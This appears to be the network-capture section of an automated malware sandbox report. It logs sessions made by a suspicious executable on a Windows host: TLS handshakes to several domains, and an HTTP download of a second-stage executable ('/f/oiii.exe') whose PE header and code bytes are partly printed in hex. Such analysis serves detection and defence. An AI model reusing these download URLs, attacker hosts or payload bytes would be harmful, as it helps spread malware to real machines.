Timestamp	Bytes transferred	Direction	Data
May 24, 2024 09:42:04.574131966 CEST	171	OUT	Data Raw: 16 03 03 00 a6 01 00 00 a2 03 03 66 50 44 cb 92 3c 10 56 87 0b 1c ec 75 27 42 0e 52 e1 d8 9e b0 51 3b f5 c2 db 35 23 b1 2e 99 14 00 00 26 c0 2c c0 2b c0 30 c0 2f c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c 00 35 00 2f Data Ascii: fPD<Vu'BRQ;5#.&,+0/$#('=<5/Skurd.computer#
May 24, 2024 09:42:05.268407106 CEST	1036	IN	HTTP/1.1 405 Method Not Allowed Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 790 date: Fri, 24 May 2024 07:42:06 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 35 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 405 Method Not Allowed</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">405</h1><h2 style="margin-top:20px;font-size: 30px;">Method Not Allowed</h2><p>This type request is not allowed!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49744	45.130.41.108	80	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 09:42:04.579164982 CEST	173	OUT	Data Raw: 16 03 03 00 a8 01 00 00 a4 03 03 66 50 44 cb b2 a8 b6 60 5e 90 15 89 10 28 67 f7 98 2e d6 81 18 f3 ef 6a 10 02 dc 4a 4e c3 c9 3c 00 00 26 c0 2c c0 2b c0 30 c0 2f c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c 00 35 00 2f Data Ascii: fPD`^(g.jJN<&,+0/$#('=<5/Umonoblocked.com#
May 24, 2024 09:42:05.329840899 CEST	329	IN	HTTP/1.1 400 Bad Request Server: nginx-reuseport/1.21.1 Date: Fri, 24 May 2024 07:42:05 GMT Content-Type: text/html Content-Length: 167 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2d 72 65 75 73 65 70 6f 72 74 2f 31 2e 32 31 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx-reuseport/1.21.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49745	103.146.158.221	80	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 09:42:04.786233902 CEST	203	OUT	HEAD /f/oiii.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: f.alie3ksggg.com Cache-Control: no-cache
May 24, 2024 09:42:05.692126989 CEST	251	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 07:42:05 GMT Content-Type: application/octet-stream Content-Length: 228864 Last-Modified: Wed, 22 May 2024 09:24:31 GMT Connection: keep-alive ETag: "664db9cf-37e00" Accept-Ranges: bytes
May 24, 2024 09:42:05.692426920 CEST	202	OUT	GET /f/oiii.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: f.alie3ksggg.com Cache-Control: no-cache
May 24, 2024 09:42:06.011441946 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 07:42:05 GMT Content-Type: application/octet-stream Content-Length: 228864 Last-Modified: Wed, 22 May 2024 09:24:31 GMT Connection: keep-alive ETag: "664db9cf-37e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 37 15 01 13 73 74 6f 40 73 74 6f 40 73 74 6f 40 21 1c 6c 41 7b 74 6f 40 21 1c 6a 41 4c 74 6f 40 21 1c 6b 41 6f 74 6f 40 7a 0c fc 40 61 74 6f 40 1c 10 6e 41 7a 74 6f 40 73 74 6e 40 da 74 6f 40 e9 1d 6a 41 7e 74 6f 40 e9 1d 6d 41 72 74 6f 40 52 69 63 68 73 74 6f 40 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 41 25 22 5e 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 10 00 72 01 00 00 08 02 00 00 00 00 00 60 3b 01 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 03 00 00 04 00 00 29 37 04 00 02 00 60 c1 00 00 18 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$7sto@sto@sto@!lA{to@!jALto@!kAoto@z@ato@nAzto@stn@to@jA~to@mArto@Richsto@PEdA%"^"r`;@)7`o00&T'(&h.textqr `.rdataDv@@.dataf@.pdatat@@.rsrc@@.relocv@B
May 24, 2024 09:42:06.011473894 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 8d 0d e9 6e 01 00 e9 c4 28 01 00 cc cc cc cc 48 83 ec 28 b9 02 00 00 00 e8 a6 0c 01 00 48 89 05 23 7d 02 00 48 83 c4 28 c3 cc Data Ascii: Hn(H(H#}H(H(H\| HoH((H(AHwH(pFHnH(S(H(AH7HoSFH<oH(#(H(AH'Hp#F
May 24, 2024 09:42:06.011512995 CEST	1236	IN	Data Raw: 18 25 c0 01 00 00 41 be ff ff 00 00 83 f8 40 0f 84 b9 00 00 00 48 85 ff 0f 84 b0 00 00 00 48 8b 06 48 63 48 04 44 0f b7 44 31 58 48 8b 4c 31 48 48 8b 41 40 48 83 38 00 74 22 48 8b 51 58 8b 02 85 c0 7e 18 ff c8 89 02 48 8b 49 40 48 8b 11 48 8d 42 Data Ascii: %A@HHHcHDD1XHL1HHA@H8t"HQX~HI@HHBHfDHAH@VDfE;uO$HtvHHcHDD1XHL1HHA@H8tlHQX~bHI@HHBHfD_HGHHcHHL1HHMIH@H~I;t
May 24, 2024 09:42:06.011548996 CEST	1236	IN	Data Raw: fb 31 01 00 4d 8b c4 49 8b d5 49 8b cf e8 ed 31 01 00 43 c6 04 27 00 48 89 3e 48 8b c6 4c 8b 64 24 60 48 8b 7c 24 58 48 8b 6c 24 50 4c 8b 7c 24 20 48 83 c4 28 41 5e 41 5d 5e 5b c3 e8 96 02 01 00 cc e8 a8 39 00 00 cc cc cc cc cc cc cc cc 40 53 56 Data Ascii: 1MII1C'H>HLd$`H\|$XHl$PL\|$ H(A^A]^[9@SVAUAVH(LqHHMI+HH;FHl$PHiL\|$ M<IHH;wHHHH+H;wH*HH;HBHCH\|$XLd$`H=r.HH'HH;HFHHx
May 24, 2024 09:42:06.011584997 CEST	896	IN	Data Raw: 08 00 00 00 00 48 8d 05 a7 82 01 00 48 89 03 eb 02 33 db 40 f6 c5 01 74 0a 48 8d 4c 24 28 e8 18 14 00 00 48 89 9c 24 b0 00 00 00 48 8b cb e8 74 08 01 00 48 8b 0b 48 8b 41 08 48 8b cb ff 15 d8 75 01 00 48 89 1d 69 6e 02 00 48 8d 8c 24 b8 00 00 00 Data Ascii: HH3@tHL$(H$HtHHAHuHinH$4HL$I[0Ik8IA^_^HSUVWAVHHD$ L3p3HHdH-nH=mHuC3H$AH9=muozoHHmH$
May 24, 2024 09:42:06.011717081 CEST	1236	IN	Data Raw: 48 85 f6 74 0d 41 0f b7 c7 49 8b fe 48 8b ce 66 f3 ab 66 45 89 24 76 48 83 fd 08 72 31 48 8b 0b 48 8d 14 6d 02 00 00 00 48 81 fa 00 10 00 00 72 18 48 8b 79 f8 48 83 c2 27 48 2b cf 48 8d 41 f8 48 83 f8 1f 77 33 48 8b cf e8 1d 12 01 00 4c 89 33 48 Data Ascii: HtAIHffE$vHr1HHmHrHyH'H+HAHw3HL3Hl$HHH\$@Ht$PH\|$XH A_A^A\#1HL$SUVWAVH0HD$ HE3Dt$hEt+HW~HHU~HAH\|HD$hHHcHH\|HH
May 24, 2024 09:42:06.011748075 CEST	1236	IN	Data Raw: 20 48 8b da 48 8d 05 cc 76 01 00 48 89 01 48 8d 51 08 33 c0 48 8b f9 48 89 02 48 8d 4b 08 48 89 42 08 e8 14 1d 01 00 48 8d 05 b9 77 01 00 48 89 07 48 8b c7 0f 10 43 18 48 8b 5c 24 30 0f 11 47 18 48 83 c4 20 5f c3 40 53 48 83 ec 20 48 8b d9 48 8b Data Ascii: HHvHHQ3HHHKHBHwHHCH\$0GH _@SH HHHSHyvH3HHJHHHH [H\$WH HH<vHHQ3HHHKHBH)wHHwCH\$0HHGH _@SHpHD$0
May 24, 2024 09:42:06.011780024 CEST	1236	IN	Data Raw: ff ff ff ff 4d 89 7d 20 4d 89 7d 28 4c 8d 74 24 30 48 8b 6c 24 30 48 83 7c 24 48 08 4c 0f 43 f5 48 b8 fe ff ff ff ff ff ff 7f 48 8b 74 24 40 48 83 fe 08 73 13 41 0f 10 06 41 0f 11 45 10 49 c7 45 28 07 00 00 00 eb 40 48 8b de 48 83 cb 07 48 3b d8 Data Ascii: M} M}(Lt$0Hl$0H\|$HLCHHt$@HsAAEIE(@HHH;HGHSIM'IELuIHI](HIu M}@M}HL\|$PH\|$PLd$hILCLt$`IsAAE0IEH6IHH;HGHSIM0O'IE0NuI
May 24, 2024 09:42:06.011812925 CEST	1236	IN	Data Raw: 8d 05 69 6f 01 00 48 89 44 0a f0 48 8b 41 f0 48 63 48 04 8d 51 f0 42 89 54 09 ec 49 8b 41 e0 48 63 48 04 48 8d 05 35 6f 01 00 4a 89 44 09 e0 49 8b 41 e0 48 63 48 04 8d 51 e8 42 89 54 09 dc c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 48 8b 41 Data Ascii: ioHDHAHcHQBTIAHcHH5oJDIAHcHQBTHAHcPHoHDHAHcPDBDD@SH0HD$ HnHHY`HtCHKHt(HH@hcHHtHHNcHH0[H0[@SH
May 24, 2024 09:42:06.011846066 CEST	1236	IN	Data Raw: 44 24 40 fe ff ff ff 44 8b f2 48 8b f9 33 db 89 9c 24 f0 00 00 00 48 8b d1 48 8d 4c 24 48 e8 88 f8 ff ff 90 38 5c 24 50 0f 84 d5 00 00 00 48 8b 07 c7 45 f0 56 57 48 83 eb 27 48 8b 70 08 48 89 74 24 68 48 8b 06 48 8b ce 48 8b 40 08 ff 15 f8 5e 01 Data Ascii: D$@DH3$HHL$H8\$PHEVWH'HpHt$hHHH@^HL$`LfE07HHB^LHtHHSI^HHcHL9IAH3HFIX(D$`fD$`IDt$(fL$ LD$`HT$pIH@Hm^\|$pE$3
May 24, 2024 09:42:06.017256975 CEST	1236	IN	Data Raw: cf e8 41 fa 00 00 90 48 8b c7 48 8b 5c 24 40 48 83 c4 30 5f c3 cc cc 40 57 48 83 ec 30 48 c7 44 24 20 fe ff ff ff 48 89 5c 24 40 8b da 48 8d 79 f0 48 8b 07 4c 63 40 04 48 8d 05 88 65 01 00 49 89 44 08 f0 48 8b 07 4c 63 40 04 45 8d 48 f0 45 89 4c Data Ascii: AHH\$@H0_@WH0HD$ H\$@HyHLc@HeIDHLc@EHELHdH`tpHHH\$@H0_H\$WH H<thHH\$0HH _H\$WH HtxHZH\$0H

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49746	188.114.97.3	80	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 09:42:05.093321085 CEST	120	OUT	Data Raw: 16 03 01 00 73 01 00 00 6f 03 01 66 50 44 cc 22 32 81 aa c8 62 94 f8 4e b7 9c db 89 48 46 d1 d3 53 2a 75 5a 28 50 fe 99 a7 5c 18 00 00 0e c0 0a c0 09 c0 14 c0 13 00 35 00 2f 00 0a 01 00 00 38 00 00 00 15 00 13 00 00 10 6c 6f 70 2e 66 6f 78 65 73 Data Ascii: sofPD"2bNHFS*uZ(P\5/8lop.foxesjoy.com#
May 24, 2024 09:42:05.563499928 CEST	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 24 May 2024 07:42:05 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49747	93.186.225.194	80	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 09:42:05.215739012 CEST	164	OUT	Data Raw: 16 03 03 00 9f 01 00 00 9b 03 03 66 50 44 cc e1 d3 01 44 f9 1c 25 cf d1 d0 01 15 3d 1b c9 4e fb cf fd da cc 7f c5 40 51 05 3f 34 00 00 26 c0 2c c0 2b c0 30 c0 2f c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c 00 35 00 2f Data Ascii: fPDD%=N@Q?4&,+0/$#('=<5/Lvk.com#
May 24, 2024 09:42:05.971575975 CEST	341	IN	HTTP/1.1 400 Bad Request Server: kittenx Date: Fri, 24 May 2024 07:42:05 GMT Content-Type: text/html Content-Length: 152 Connection: close Strict-Transport-Security: max-age=86400 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6b 69 74 74 65 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>kittenx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49749	176.111.174.109	80	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 09:42:05.263926983 CEST	198	OUT	GET /pelikan HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: 176.111.174.109 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49750	93.186.225.194	80	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 09:42:05.264076948 CEST	164	OUT	Data Raw: 16 03 03 00 9f 01 00 00 9b 03 03 66 50 44 cc 6e 16 79 4c 19 86 2d 37 55 2c 9e 19 71 2b b8 af 27 ae b4 56 7b ea c9 76 50 86 1b 9d 00 00 26 c0 2c c0 2b c0 30 c0 2f c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c 00 35 00 2f Data Ascii: fPDnyL-7U,q+'V{vP&,+0/$#('=<5/Lvk.com#
May 24, 2024 09:42:05.976342916 CEST	341	IN	HTTP/1.1 400 Bad Request Server: kittenx Date: Fri, 24 May 2024 07:42:05 GMT Content-Type: text/html Content-Length: 152 Connection: close Strict-Transport-Security: max-age=86400 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6b 69 74 74 65 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>kittenx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49751	146.70.56.165	80	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 09:42:05.291246891 CEST	117	OUT	Data Raw: 16 03 01 00 70 01 00 00 6c 03 01 66 50 44 cc 65 eb 11 a3 56 b3 58 bf de ae 19 17 3b 98 91 5e 42 49 47 aa 82 23 4b 23 d5 c9 f2 43 00 00 0e c0 0a c0 09 c0 14 c0 13 00 35 00 2f 00 0a 01 00 00 35 00 00 00 12 00 10 00 00 0d 6b 75 72 64 2e 63 6f 6d 70 Data Ascii: plfPDeVX;^BIG#K#C5/5kurd.computer#
May 24, 2024 09:42:05.992260933 CEST	1036	IN	HTTP/1.1 405 Method Not Allowed Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 790 date: Fri, 24 May 2024 07:42:07 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 35 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 405 Method Not Allowed</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">405</h1><h2 style="margin-top:20px;font-size: 30px;">Method Not Allowed</h2><p>This type request is not allowed!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49752	45.130.41.108	80	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 09:42:05.353210926 CEST	119	OUT	Data Raw: 16 03 01 00 72 01 00 00 6e 03 01 66 50 44 cc 1f 68 d2 8b eb 26 ca 0c d1 ad a3 88 45 b1 d0 f2 10 b7 fc 15 e0 d8 09 70 67 68 c6 da 00 00 0e c0 0a c0 09 c0 14 c0 13 00 35 00 2f 00 0a 01 00 00 37 00 00 00 14 00 12 00 00 0f 6d 6f 6e 6f 62 6c 6f 63 6b Data Ascii: rnfPDh&Epgh5/7monoblocked.com#
May 24, 2024 09:42:06.108551025 CEST	329	IN	HTTP/1.1 400 Bad Request Server: nginx-reuseport/1.21.1 Date: Fri, 24 May 2024 07:42:05 GMT Content-Type: text/html Content-Length: 167 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2d 72 65 75 73 65 70 6f 72 74 2f 31 2e 32 31 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx-reuseport/1.21.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49755	93.186.225.194	80	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 09:42:05.981611967 CEST	164	OUT	Data Raw: 16 03 03 00 9f 01 00 00 9b 03 03 66 50 44 cd d0 4e 5f 67 af 46 df cd d4 8d 76 ba 99 bd 04 98 e1 61 4a 3d d4 1b ce 47 80 00 38 55 00 00 26 c0 2c c0 2b c0 30 c0 2f c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c 00 35 00 2f Data Ascii: fPDN_gFvaJ=G8U&,+0/$#('=<5/Lvk.com#
May 24, 2024 09:42:06.657411098 CEST	341	IN	HTTP/1.1 400 Bad Request Server: kittenx Date: Fri, 24 May 2024 07:42:06 GMT Content-Type: text/html Content-Length: 152 Connection: close Strict-Transport-Security: max-age=86400 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6b 69 74 74 65 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>kittenx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49756	93.186.225.194	80	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 09:42:05.991131067 CEST	164	OUT	Data Raw: 16 03 03 00 9f 01 00 00 9b 03 03 66 50 44 cd 74 47 9a f2 15 20 20 d3 f6 7d 78 1f 77 05 1d b8 fa c8 c5 41 1e 0d f7 fa 73 6f 4b f4 00 00 26 c0 2c c0 2b c0 30 c0 2f c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c 00 35 00 2f Data Ascii: fPDtG }xwAsoK&,+0/$#('=<5/Lvk.com#
May 24, 2024 09:42:06.664520025 CEST	341	IN	HTTP/1.1 400 Bad Request Server: kittenx Date: Fri, 24 May 2024 07:42:06 GMT Content-Type: text/html Content-Length: 152 Connection: close Strict-Transport-Security: max-age=86400 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6b 69 74 74 65 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>kittenx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49761	147.45.47.149	54674	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

